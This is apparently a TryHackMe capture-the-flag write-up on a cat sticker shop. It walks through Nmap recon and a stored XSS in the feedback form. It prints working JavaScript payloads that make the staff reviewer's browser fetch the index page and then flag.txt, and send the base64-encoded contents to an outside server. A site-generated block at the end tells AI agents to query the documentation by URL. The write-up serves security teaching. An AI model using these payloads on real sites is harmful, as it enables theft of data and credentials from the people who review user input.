# The Sticker Shop

{% embed url="<https://tryhackme.com/r/room/thestickershop>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and find only two open ports. Port `22` on which we have SSH available and port `8080` on which a Python Werkzeug server is running, a cat sticker shop.

<figure><img src="/files/nGZQ1rwDfDStuoLcq5eK" alt=""><figcaption></figcaption></figure>

The index page has some stickers to offer. Besides that, we have a Feedback page.

<figure><img src="/files/rYQ2zE8TOLe7ddDbkDmM" alt=""><figcaption></figcaption></figure>

On the feedback page, we can give some feedback, that is shortly after reviewed by the staff. This sounds like `XSS` might be our entry point.

<figure><img src="/files/EnneAuJqMMz4egMfhObu" alt=""><figcaption></figcaption></figure>

## Exploit XSS

The challenge tasks us to retrieve the flag at `http://10.10.49.166:8080/flag.txt` and utilize client side exploitation.&#x20;

Furthermore it states that `they decided to develop and host everything on the same computer`.

> Your local sticker shop has finally developed its own webpage. They do not have too much experience regarding web development, so they decided to develop and host everything on the same computer that they use for browsing the internet and looking at customer feedback. Smart move!
>
> Can you read the flag at `http://10.10.49.166:8080/flag.txt`?

Currently we are not allowed to access `http://10.10.49.166:8080/flag.txt.`

<figure><img src="/files/xlmNOHRduyk2Tu2A54C5" alt=""><figcaption></figcaption></figure>

We get back to the feedback page and prepare some XSS payloads.

<figure><img src="/files/Q3DPTyzNweJR4SZXOQgP" alt=""><figcaption></figcaption></figure>

First, we want to test for simple XSS. If we get a response back to our web server, we have confirmed XSS.

```javascript
<script src="http://10.14.90.235/feedback"></script>
```

<figure><img src="/files/CAkhLEYTxHfBJlkKRKvR" alt=""><figcaption></figcaption></figure>

We get a response back, so let's craft a payload to make a request as the user to the page.

<figure><img src="/files/lZAmVcQoiMFHDkEozB0t" alt=""><figcaption></figcaption></figure>

The next thing to do is to craft a  JavaScript payload to exfiltrate the response of a fetch request to the root path (`/`) of the current origin. It sends the text content of the fetched response, encoded in Base64 (`btoa`), to a remote server at `http://10.14.90.235/` using another fetch request. we uses `no-cors` mode to bypass CORS restrictions and `credentials: 'same-origin'` to include cookies or credentials for the initial request, potentially allowing it to capture sensitive data from the target application.

```javascript
<script>
fetch("/", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => { 
    fetch('http://10.14.90.235/' + btoa(text), {mode:'no-cors'}); 
  });
</script>
```

We get a base64-encoded response back.

<figure><img src="/files/FLjoKoGlYRKpZanmwLGz" alt=""><figcaption></figcaption></figure>

We successfully got the index page by the user reviewing the feedback.

<figure><img src="/files/r70MQrZQm4o7TRxZePBP" alt=""><figcaption></figcaption></figure>

Now we adapt the payload to include the `flag.txt`.

```javascript
<script>
fetch("/flag.txt", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => { 
    fetch('http://10.14.90.235/' + btoa(text), {mode:'no-cors'}); 
  });
</script>
```

After we have submitted our payload, we get a connection back to our web server.

<figure><img src="/files/jXIlgYIq4LIg4fQVF7fc" alt=""><figcaption></figcaption></figure>

And it is the flag.

<figure><img src="/files/C7OULVblw2eeVgeyUW2n" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/the-sticker-shop.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
